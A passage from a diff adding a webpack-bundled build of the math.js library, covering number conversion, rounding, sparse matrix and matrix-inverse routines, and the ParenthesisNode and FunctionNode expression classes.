NaN; + var num = Number(x); + + if (isNaN(num)) { + throw new SyntaxError('String "' + x + '" is no valid number'); + } + + return num; + }, + 'BigNumber': function BigNumber(x) { + return x.toNumber(); + }, + 'Fraction': function Fraction(x) { + return x.valueOf(); + }, + 'Unit': function Unit(x) { + throw new Error('Second argument with valueless unit expected'); + }, + 'null': function _null(x) { + return 0; + }, + 'Unit, string | Unit': function UnitStringUnit(unit, valuelessUnit) { + return unit.toNumber(valuelessUnit); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, number); + } + }); + number.toTex = { + 0: "0", + 1: "\\left(${args[0]}\\right)", + 2: "\\left(\\left(${args[0]}\\right)${args[1]}\\right)" + }; + return number; +} + +exports.name = 'number'; +exports.factory = factory; + +/***/ }), +/* 65 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var getTypeOf = load(__webpack_require__(26)); + var validInputTypes = { + 'string': true, + 'number': true, + 'BigNumber': true, + 'Fraction': true // Load the conversion functions for each output type + + }; + var validOutputTypes = { + 'number': load(__webpack_require__(64)), + 'BigNumber': load(__webpack_require__(105)), + 'Fraction': load(__webpack_require__(83)) + /** + * Convert a numeric value to a specific type: number, BigNumber, or Fraction + * + * @param {string | number | BigNumber | Fraction } value + * @param {'number' | 'BigNumber' | 'Fraction'} outputType + * @return {number | BigNumber | Fraction} Returns an instance of the + * numeric in the requested type + */ + + }; + + var numeric = function numeric(value, outputType) { + var inputType = getTypeOf(value); + + if (!(inputType in validInputTypes)) { + throw new TypeError('Cannot convert ' + value + ' of type "' + inputType + '"; valid input types are ' + Object.keys(validInputTypes).join(', ')); + } + + if (!(outputType in validOutputTypes)) { + throw new TypeError('Cannot convert ' + value + ' to type "' + outputType + '"; valid output types are ' + Object.keys(validOutputTypes).join(', ')); + } + + if (outputType === inputType) { + return value; + } else { + return validOutputTypes[outputType](value); + } + }; + + numeric.toTex = function (node, options) { + // Not sure if this is strictly right but should work correctly for the vast majority of use cases. + return node.args[0].toTex(); + }; + + return numeric; +} // FIXME: expose numeric in the math namespace after we've decided on a name and have written proper docs for this function. See https://github.com/josdejong/mathjs/pull/1270 +// exports.name = 'type._numeric' + + +exports.path = 'type'; +exports.name = '_numeric'; +exports.factory = factory; + +/***/ }), +/* 66 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix A and SparseMatrix B nonzero items and invokes the callback function f(Aij, Bij). + * Callback function invoked MAX(NNZA, NNZB) times + * + * + * ┌ f(Aij, Bij) ; A(i,j) !== 0 || B(i,j) !== 0 + * C(i,j) = ┤ + * └ 0 ; otherwise + * + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm05 = function algorithm05(a, b, callback) { + // sparse matrix arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = avalues && bvalues ? [] : undefined; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // workspaces + + var xa = cvalues ? [] : undefined; + var xb = cvalues ? [] : undefined; // marks indicating we have a value in x for a given column + + var wa = []; + var wb = []; // vars + + var i, j, k, k1; // loop columns + + for (j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // columns mark + + var mark = j + 1; // loop values A(:,j) + + for (k = aptr[j], k1 = aptr[j + 1]; k < k1; k++) { + // row + i = aindex[k]; // push index + + cindex.push(i); // update workspace + + wa[i] = mark; // check we need to process values + + if (xa) { + xa[i] = avalues[k]; + } + } // loop values B(:,j) + + + for (k = bptr[j], k1 = bptr[j + 1]; k < k1; k++) { + // row + i = bindex[k]; // check row existed in A + + if (wa[i] !== mark) { + // push index + cindex.push(i); + } // update workspace + + + wb[i] = mark; // check we need to process values + + if (xb) { + xb[i] = bvalues[k]; + } + } // check we need to process values (non pattern matrix) + + + if (cvalues) { + // initialize first index in j + k = cptr[j]; // loop index in j + + while (k < cindex.length) { + // row + i = cindex[k]; // marks + + var wai = wa[i]; + var wbi = wb[i]; // check Aij or Bij are nonzero + + if (wai === mark || wbi === mark) { + // matrix values @ i,j + var va = wai === mark ? xa[i] : zero; + var vb = wbi === mark ? xb[i] : zero; // Cij + + var vc = cf(va, vb); // check for zero + + if (!eq(vc, zero)) { + // push value + cvalues.push(vc); // increment pointer + + k++; + } else { + // remove value @ i, do not increment pointer + cindex.splice(k, 1); + } + } + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm05; +} + +exports.name = 'algorithm05'; +exports.factory = factory; + +/***/ }), +/* 67 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var toFixed = __webpack_require__(3).toFixed; + +var deepMap = __webpack_require__(1); + +var NO_INT = 'Number of decimals in function round must be an integer'; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var equalScalar = load(__webpack_require__(11)); + var zeros = load(__webpack_require__(43)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Round a value towards the nearest integer. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.round(x) + * math.round(x, n) + * + * Examples: + * + * math.round(3.2) // returns number 3 + * math.round(3.8) // returns number 4 + * math.round(-4.2) // returns number -4 + * math.round(-4.7) // returns number -5 + * math.round(math.pi, 3) // returns number 3.142 + * math.round(123.45678, 2) // returns number 123.46 + * + * const c = math.complex(3.2, -2.7) + * math.round(c) // returns Complex 3 - 3i + * + * math.round([3.2, 3.8, -4.7]) // returns Array [3, 4, -5] + * + * See also: + * + * ceil, fix, floor + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} x Number to be rounded + * @param {number | BigNumber | Array} [n=0] Number of decimals + * @return {number | BigNumber | Fraction | Complex | Array | Matrix} Rounded value + */ + + var round = typed('round', { + 'number': function number(x) { + return _round(x, 0); + }, + 'number, number': function numberNumber(x, n) { + if (!isInteger(n)) { + throw new TypeError(NO_INT); + } + + if (n < 0 || n > 15) { + throw new Error('Number of decimals in function round must be in te range of 0-15'); + } + + return _round(x, n); + }, + 'Complex': function Complex(x) { + return x.round(); + }, + 'Complex, number': function ComplexNumber(x, n) { + if (n % 1) { + throw new TypeError(NO_INT); + } + + return x.round(n); + }, + 'Complex, BigNumber': function ComplexBigNumber(x, n) { + if (!n.isInteger()) { + throw new TypeError(NO_INT); + } + + var _n = n.toNumber(); + + return x.round(_n); + }, + 'number, BigNumber': function numberBigNumber(x, n) { + if (!n.isInteger()) { + throw new TypeError(NO_INT); + } + + return new type.BigNumber(x).toDecimalPlaces(n.toNumber()); + }, + 'BigNumber': function BigNumber(x) { + return x.toDecimalPlaces(0); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, n) { + if (!n.isInteger()) { + throw new TypeError(NO_INT); + } + + return x.toDecimalPlaces(n.toNumber()); + }, + 'Fraction': function Fraction(x) { + return x.round(); + }, + 'Fraction, number': function FractionNumber(x, n) { + if (n % 1) { + throw new TypeError(NO_INT); + } + + return x.round(n); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since round(0) = 0 + return deepMap(x, round, true); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + return algorithm11(x, y, round, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + return algorithm14(x, y, round, false); + }, + 'number | Complex | BigNumber, SparseMatrix': function numberComplexBigNumberSparseMatrix(x, y) { + // check scalar is zero + if (equalScalar(x, 0)) { + // do not execute algorithm, result will be a zero matrix + return zeros(y.size(), y.storage()); + } + + return algorithm12(y, x, round, true); + }, + 'number | Complex | BigNumber, DenseMatrix': function numberComplexBigNumberDenseMatrix(x, y) { + // check scalar is zero + if (equalScalar(x, 0)) { + // do not execute algorithm, result will be a zero matrix + return zeros(y.size(), y.storage()); + } + + return algorithm14(y, x, round, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, round, false).valueOf(); + }, + 'number | Complex | BigNumber, Array': function numberComplexBigNumberArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, round, true).valueOf(); + } + }); + round.toTex = { + 1: "\\left\\lfloor${args[0]}\\right\\rceil", + 2: undefined // use default template + + }; + return round; +} +/** + * round a number to the given number of decimals, or to zero if decimals is + * not provided + * @param {number} value + * @param {number} decimals number of decimals, between 0 and 15 (0 by default) + * @return {number} roundedValue + * @private + */ + + +function _round(value, decimals) { + return parseFloat(toFixed(value, decimals)); +} + +exports.name = 'round'; +exports.factory = factory; + +/***/ }), +/* 68 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor ParenthesisNode + * @extends {Node} + * A parenthesis node describes manual parenthesis from the user input + * @param {Node} content + * @extends {Node} + */ + + function ParenthesisNode(content) { + if (!(this instanceof ParenthesisNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // validate input + + + if (!type.isNode(content)) { + throw new TypeError('Node expected for parameter "content"'); + } + + this.content = content; + } + + ParenthesisNode.prototype = new Node(); + ParenthesisNode.prototype.type = 'ParenthesisNode'; + ParenthesisNode.prototype.isParenthesisNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + ParenthesisNode.prototype._compile = function (math, argNames) { + return this.content._compile(math, argNames); + }; + /** + * Get the content of the current Node. + * @return {Node} content + * @override + **/ + + + ParenthesisNode.prototype.getContent = function () { + return this.content.getContent(); + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + ParenthesisNode.prototype.forEach = function (callback) { + callback(this.content, 'content', this); + }; + /** + * Create a new ParenthesisNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node) : Node} callback + * @returns {ParenthesisNode} Returns a clone of the node + */ + + + ParenthesisNode.prototype.map = function (callback) { + var content = callback(this.content, 'content', this); + return new ParenthesisNode(content); + }; + /** + * Create a clone of this node, a shallow copy + * @return {ParenthesisNode} + */ + + + ParenthesisNode.prototype.clone = function () { + return new ParenthesisNode(this.content); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ParenthesisNode.prototype._toString = function (options) { + if (!options || options && !options.parenthesis || options && options.parenthesis === 'keep') { + return '(' + this.content.toString(options) + ')'; + } + + return this.content.toString(options); + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + ParenthesisNode.prototype.toJSON = function () { + return { + mathjs: 'ParenthesisNode', + content: this.content + }; + }; + /** + * Instantiate an ParenthesisNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "ParenthesisNode", "content": ...}`, + * where mathjs is optional + * @returns {ParenthesisNode} + */ + + + ParenthesisNode.fromJSON = function (json) { + return new ParenthesisNode(json.content); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ParenthesisNode.prototype.toHTML = function (options) { + if (!options || options && !options.parenthesis || options && options.parenthesis === 'keep') { + return '(' + this.content.toHTML(options) + ')'; + } + + return this.content.toHTML(options); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ParenthesisNode.prototype._toTex = function (options) { + if (!options || options && !options.parenthesis || options && options.parenthesis === 'keep') { + return "\\left(".concat(this.content.toTex(options), "\\right)"); + } + + return this.content.toTex(options); + }; + + return ParenthesisNode; +} + +exports.name = 'ParenthesisNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 69 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } + +var latex = __webpack_require__(4); + +var escape = __webpack_require__(9).escape; + +var hasOwnProperty = __webpack_require__(5).hasOwnProperty; + +var map = __webpack_require__(2).map; + +var validateSafeMethod = __webpack_require__(13).validateSafeMethod; + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +function factory(type, config, load, typed, math) { + var Node = load(__webpack_require__(16)); + var SymbolNode = load(__webpack_require__(54)); + /** + * @constructor FunctionNode + * @extends {./Node} + * invoke a list with arguments on a node + * @param {./Node | string} fn Node resolving with a function on which to invoke + * the arguments, typically a SymboNode or AccessorNode + * @param {./Node[]} args + */ + + function FunctionNode(fn, args) { + if (!(this instanceof FunctionNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (typeof fn === 'string') { + fn = new SymbolNode(fn); + } // validate input + + + if (!type.isNode(fn)) throw new TypeError('Node expected as parameter "fn"'); + + if (!Array.isArray(args) || !args.every(type.isNode)) { + throw new TypeError('Array containing Nodes expected for parameter "args"'); + } + + this.fn = fn; + this.args = args || []; // readonly property name + + Object.defineProperty(this, 'name', { + get: function () { + return this.fn.name || ''; + }.bind(this), + set: function set() { + throw new Error('Cannot assign a new name, name is read-only'); + } + }); // TODO: deprecated since v3, remove some day + + var deprecated = function deprecated() { + throw new Error('Property `FunctionNode.object` is deprecated, use `FunctionNode.fn` instead'); + }; + + Object.defineProperty(this, 'object', { + get: deprecated, + set: deprecated + }); + } + + FunctionNode.prototype = new Node(); + FunctionNode.prototype.type = 'FunctionNode'; + FunctionNode.prototype.isFunctionNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + FunctionNode.prototype._compile = function (math, argNames) { + if (!(this instanceof FunctionNode)) { + throw new TypeError('No valid FunctionNode'); + } // compile arguments + + + var evalArgs = map(this.args, function (arg) { + return arg._compile(math, argNames); + }); + + if (type.isSymbolNode(this.fn)) { + // we can statically determine whether the function has an rawArgs property + var name = this.fn.name; + var fn = name in math ? getSafeProperty(math, name) : undefined; + var isRaw = typeof fn === 'function' && fn.rawArgs === true; + + if (isRaw) { + // pass unevaluated parameters (nodes) to the function + // "raw" evaluation + var rawArgs = this.args; + return function evalFunctionNode(scope, args, context) { + return (name in scope ? getSafeProperty(scope, name) : fn)(rawArgs, math, _extends({}, scope, args)); + }; + } else { + // "regular" evaluation + if (evalArgs.length === 1) { + var evalArg0 = evalArgs[0]; + return function evalFunctionNode(scope, args, context) { + return (name in scope ? getSafeProperty(scope, name) : fn)(evalArg0(scope, args, context)); + }; + } else if (evalArgs.length === 2) { + var _evalArg = evalArgs[0]; + var evalArg1 = evalArgs[1]; + return function evalFunctionNode(scope, args, context) { + return (name in scope ? getSafeProperty(scope, name) : fn)(_evalArg(scope, args, context), evalArg1(scope, args, context)); + }; + } else { + return function evalFunctionNode(scope, args, context) { + return (name in scope ? getSafeProperty(scope, name) : fn).apply(null, map(evalArgs, function (evalArg) { + return evalArg(scope, args, context); + })); + }; + } + } + } else if (type.isAccessorNode(this.fn) && type.isIndexNode(this.fn.index) && this.fn.index.isObjectProperty()) { + // execute the function with the right context: the object of the AccessorNode + var evalObject = this.fn.object._compile(math, argNames); + + var prop = this.fn.index.getObjectProperty(); + var _rawArgs = this.args; + return function evalFunctionNode(scope, args, context) { + var object = evalObject(scope, args, context); + validateSafeMethod(object, prop); + var isRaw = object[prop] && object[prop].rawArgs; + return isRaw ? object[prop](_rawArgs, math, _extends({}, scope, args)) // "raw" evaluation + : object[prop].apply(object, map(evalArgs, function (evalArg) { + // "regular" evaluation + return evalArg(scope, args, context); + })); + }; + } else { + // node.fn.isAccessorNode && !node.fn.index.isObjectProperty() + // we have to dynamically determine whether the function has a rawArgs property + var evalFn = this.fn._compile(math, argNames); + + var _rawArgs2 = this.args; + return function evalFunctionNode(scope, args, context) { + var fn = evalFn(scope, args, context); + var isRaw = fn && fn.rawArgs; + return isRaw ? fn(_rawArgs2, math, _extends({}, scope, args)) // "raw" evaluation + : fn.apply(fn, map(evalArgs, function (evalArg) { + // "regular" evaluation + return evalArg(scope, args, context); + })); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + FunctionNode.prototype.forEach = function (callback) { + callback(this.fn, 'fn', this); + + for (var i = 0; i < this.args.length; i++) { + callback(this.args[i], 'args[' + i + ']', this); + } + }; + /** + * Create a new FunctionNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {FunctionNode} Returns a transformed copy of the node + */ + + + FunctionNode.prototype.map = function (callback) { + var fn = this._ifNode(callback(this.fn, 'fn', this)); + + var args = []; + + for (var i = 0; i < this.args.length; i++) { + args[i] = this._ifNode(callback(this.args[i], 'args[' + i + ']', this)); + } + + return new FunctionNode(fn, args); + }; + /** + * Create a clone of this node, a shallow copy + * @return {FunctionNode} + */ + + + FunctionNode.prototype.clone = function () { + return new FunctionNode(this.fn, this.args.slice(0)); + }; // backup Node's toString function + // @private + + + var nodeToString = FunctionNode.prototype.toString; + /** + * Get string representation. (wrapper function) + * This overrides parts of Node's toString function. + * If callback is an object containing callbacks, it + * calls the correct callback for the current node, + * otherwise it falls back to calling Node's toString + * function. + * + * @param {Object} options + * @return {string} str + * @override + */ + + FunctionNode.prototype.toString = function (options) { + var customString; + var name = this.fn.toString(options); + + if (options && _typeof(options.handler) === 'object' && hasOwnProperty(options.handler, name)) { + // callback is a map of callback functions + customString = options.handler[name](this, options); + } + + if (typeof customString !== 'undefined') { + return customString; + } // fall back to Node's toString + + + return nodeToString.call(this, options); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + */ + + + FunctionNode.prototype._toString = function (options) { + var args = this.args.map(function (arg) { + return arg.toString(options); + }); + var fn = type.isFunctionAssignmentNode(this.fn) ? '(' + this.fn.toString(options) + ')' : this.fn.toString(options); // format the arguments like "add(2, 4.2)" + + return fn + '(' + args.join(', ') + ')'; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + FunctionNode.prototype.toJSON = function () { + return { + mathjs: 'FunctionNode', + fn: this.fn, + args: this.args + }; + }; + /** + * Instantiate an AssignmentNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "FunctionNode", fn: ..., args: ...}`, + * where mathjs is optional + * @returns {FunctionNode} + */ + + + FunctionNode.fromJSON = function (json) { + return new FunctionNode(json.fn, json.args); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + FunctionNode.prototype.toHTML = function (options) { + var args = this.args.map(function (arg) { + return arg.toHTML(options); + }); // format the arguments like "add(2, 4.2)" + + return '' + escape(this.fn) + '(' + args.join(',') + ')'; + }; + /* + * Expand a LaTeX template + * + * @param {string} template + * @param {Node} node + * @param {Object} options + * @private + **/ + + + function expandTemplate(template, node, options) { + var latex = ''; // Match everything of the form ${identifier} or ${identifier[2]} or $$ + // while submatching identifier and 2 (in the second case) + + var regex = new RegExp('\\$(?:\\{([a-z_][a-z_0-9]*)(?:\\[([0-9]+)\\])?\\}|\\$)', 'ig'); + var inputPos = 0; // position in the input string + + var match; + + while ((match = regex.exec(template)) !== null) { + // go through all matches + // add everything in front of the match to the LaTeX string + latex += template.substring(inputPos, match.index); + inputPos = match.index; + + if (match[0] === '$$') { + // escaped dollar sign + latex += '$'; + inputPos++; + } else { + // template parameter + inputPos += match[0].length; + var property = node[match[1]]; + + if (!property) { + throw new ReferenceError('Template: Property ' + match[1] + ' does not exist.'); + } + + if (match[2] === undefined) { + // no square brackets + switch (_typeof(property)) { + case 'string': + latex += property; + break; + + case 'object': + if (type.isNode(property)) { + latex += property.toTex(options); + } else if (Array.isArray(property)) { + // make array of Nodes into comma separated list + latex += property.map(function (arg, index) { + if (type.isNode(arg)) { + return arg.toTex(options); + } + + throw new TypeError('Template: ' + match[1] + '[' + index + '] is not a Node.'); + }).join(','); + } else { + throw new TypeError('Template: ' + match[1] + ' has to be a Node, String or array of Nodes'); + } + + break; + + default: + throw new TypeError('Template: ' + match[1] + ' has to be a Node, String or array of Nodes'); + } + } else { + // with square brackets + if (type.isNode(property[match[2]] && property[match[2]])) { + latex += property[match[2]].toTex(options); + } else { + throw new TypeError('Template: ' + match[1] + '[' + match[2] + '] is not a Node.'); + } + } + } + } + + latex += template.slice(inputPos); // append rest of the template + + return latex; + } // backup Node's toTex function + // @private + + + var nodeToTex = FunctionNode.prototype.toTex; + /** + * Get LaTeX representation. (wrapper function) + * This overrides parts of Node's toTex function. + * If callback is an object containing callbacks, it + * calls the correct callback for the current node, + * otherwise it falls back to calling Node's toTex + * function. + * + * @param {Object} options + * @return {string} + */ + + FunctionNode.prototype.toTex = function (options) { + var customTex; + + if (options && _typeof(options.handler) === 'object' && hasOwnProperty(options.handler, this.name)) { + // callback is a map of callback functions + customTex = options.handler[this.name](this, options); + } + + if (typeof customTex !== 'undefined') { + return customTex; + } // fall back to Node's toTex + + + return nodeToTex.call(this, options); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + FunctionNode.prototype._toTex = function (options) { + var args = this.args.map(function (arg) { + // get LaTeX of the arguments + return arg.toTex(options); + }); + var latexConverter; + + if (math[this.name] && (typeof math[this.name].toTex === 'function' || _typeof(math[this.name].toTex) === 'object' || typeof math[this.name].toTex === 'string')) { + // .toTex is a callback function + latexConverter = math[this.name].toTex; + } + + var customToTex; + + switch (_typeof(latexConverter)) { + case 'function': + // a callback function + customToTex = latexConverter(this, options); + break; + + case 'string': + // a template string + customToTex = expandTemplate(latexConverter, this, options); + break; + + case 'object': + // an object with different "converters" for different numbers of arguments + switch (_typeof(latexConverter[args.length])) { + case 'function': + customToTex = latexConverter[args.length](this, options); + break; + + case 'string': + customToTex = expandTemplate(latexConverter[args.length], this, options); + break; + } + + } + + if (typeof customToTex !== 'undefined') { + return customToTex; + } + + return expandTemplate(latex.defaultTemplate, this, options); + }; + /** + * Get identifier. + * @return {string} + */ + + + FunctionNode.prototype.getIdentifier = function () { + return this.type + ':' + this.name; + }; + + return FunctionNode; +} + +exports.name = 'FunctionNode'; +exports.path = 'expression.node'; +exports.math = true; // request access to the math namespace as 5th argument of the factory function + +exports.factory = factory; + +/***/ }), +/* 70 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var divideScalar = load(__webpack_require__(12)); + var addScalar = load(__webpack_require__(17)); + var multiply = load(__webpack_require__(10)); + var unaryMinus = load(__webpack_require__(39)); + var det = load(__webpack_require__(128)); + var identity = load(__webpack_require__(50)); + var abs = load(__webpack_require__(25)); + /** + * Calculate the inverse of a square matrix. + * + * Syntax: + * + * math.inv(x) + * + * Examples: + * + * math.inv([[1, 2], [3, 4]]) // returns [[-2, 1], [1.5, -0.5]] + * math.inv(4) // returns 0.25 + * 1 / 4 // returns 0.25 + * + * See also: + * + * det, transpose + * + * @param {number | Complex | Array | Matrix} x Matrix to be inversed + * @return {number | Complex | Array | Matrix} The inverse of `x`. + */ + + var inv = typed('inv', { + 'Array | Matrix': function ArrayMatrix(x) { + var size = type.isMatrix(x) ? x.size() : util.array.size(x); + + switch (size.length) { + case 1: + // vector + if (size[0] === 1) { + if (type.isMatrix(x)) { + return matrix([divideScalar(1, x.valueOf()[0])]); + } else { + return [divideScalar(1, x[0])]; + } + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + util.string.format(size) + ')'); + } + + case 2: + // two dimensional array + var rows = size[0]; + var cols = size[1]; + + if (rows === cols) { + if (type.isMatrix(x)) { + return matrix(_inv(x.valueOf(), rows, cols), x.storage()); + } else { + // return an Array + return _inv(x, rows, cols); + } + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + util.string.format(size) + ')'); + } + + default: + // multi dimensional array + throw new RangeError('Matrix must be two dimensional ' + '(size: ' + util.string.format(size) + ')'); + } + }, + 'any': function any(x) { + // scalar + return divideScalar(1, x); // FIXME: create a BigNumber one when configured for bignumbers + } + }); + /** + * Calculate the inverse of a square matrix + * @param {Array[]} mat A square matrix + * @param {number} rows Number of rows + * @param {number} cols Number of columns, must equal rows + * @return {Array[]} inv Inverse matrix + * @private + */ + + function _inv(mat, rows, cols) { + var r, s, f, value, temp; + + if (rows === 1) { + // this is a 1 x 1 matrix + value = mat[0][0]; + + if (value === 0) { + throw Error('Cannot calculate inverse, determinant is zero'); + } + + return [[divideScalar(1, value)]]; + } else if (rows === 2) { + // this is a 2 x 2 matrix + var d = det(mat); + + if (d === 0) { + throw Error('Cannot calculate inverse, determinant is zero'); + } + + return [[divideScalar(mat[1][1], d), divideScalar(unaryMinus(mat[0][1]), d)], [divideScalar(unaryMinus(mat[1][0]), d), divideScalar(mat[0][0], d)]]; + } else { + // this is a matrix of 3 x 3 or larger + // calculate inverse using gauss-jordan elimination + // https://en.wikipedia.org/wiki/Gaussian_elimination + // http://mathworld.wolfram.com/MatrixInverse.html + // http://math.uww.edu/~mcfarlat/inverse.htm + // make a copy of the matrix (only the arrays, not of the elements) + var A = mat.concat(); + + for (r = 0; r < rows; r++) { + A[r] = A[r].concat(); + } // create an identity matrix which in the end will contain the + // matrix inverse + + + var B = identity(rows).valueOf(); // loop over all columns, and perform row reductions + + for (var c = 0; c < cols; c++) { + // Pivoting: Swap row c with row r, where row r contains the largest element A[r][c] + var ABig = abs(A[c][c]); + var rBig = c; + r = c + 1; + + while (r < rows) { + if (abs(A[r][c]) > ABig) { + ABig = abs(A[r][c]); + rBig = r; + } + + r++; + } + + if (ABig === 0) { + throw Error('Cannot calculate inverse, determinant is zero'); + } + + r = rBig; + + if (r !== c) { + temp = A[c]; + A[c] = A[r]; + A[r] = temp; + temp = B[c]; + B[c] = B[r]; + B[r] = temp; + } // eliminate non-zero values on the other rows at column c + + + var Ac = A[c]; + var Bc = B[c]; + + for (r = 0; r < rows; r++) { + var Ar = A[r]; + var Br = B[r]; + + if (r !== c) { + // eliminate value at column c and row r + if (Ar[c] !== 0) { + f = divideScalar(unaryMinus(Ar[c]), Ac[c]); // add (f * row c) to row r to eliminate the value + // at column c + + for (s = c; s < cols; s++) { + Ar[s] = addScalar(Ar[s], multiply(f, Ac[s])); + } + + for (s = 0; s < cols; s++) { + Br[s] = addScalar(Br[s], multiply(f, Bc[s])); + } + } + } else { + // normalize value at Acc to 1, + // divide each value on row r with the value at Acc + f = Ac[c]; + + for (s = c; s < cols; s++) { + Ar[s] = divideScalar(Ar[s], f); + } + + for (s = 0; s < cols; s++) { + Br[s] = divideScalar(Br[s], f); + } + } + } + } + + return B; + } + } + + inv.toTex = { + 1: "\\left(${args[0]}\\right)^{-1}" + }; + return inv; +} + +exports.name = 'inv'; +exports.factory = factory; + +/***/ }), +/* 71 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Compute the complex conjugate of a complex value. + * If `x = a+bi`, the complex conjugate of `x` is `a - bi`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.conj(x) + * + * Examples: + * + * math.conj(math.complex('2 + 3i')) // returns Complex 2 - 3i + * math.conj(math.complex('2 - 3i')) // returns Complex 2 + 3i + * math.conj(math.complex('-5.2i')) // returns Complex 5.2i + * + * See also: + * + * re, im, arg, abs + * + * @param {number | 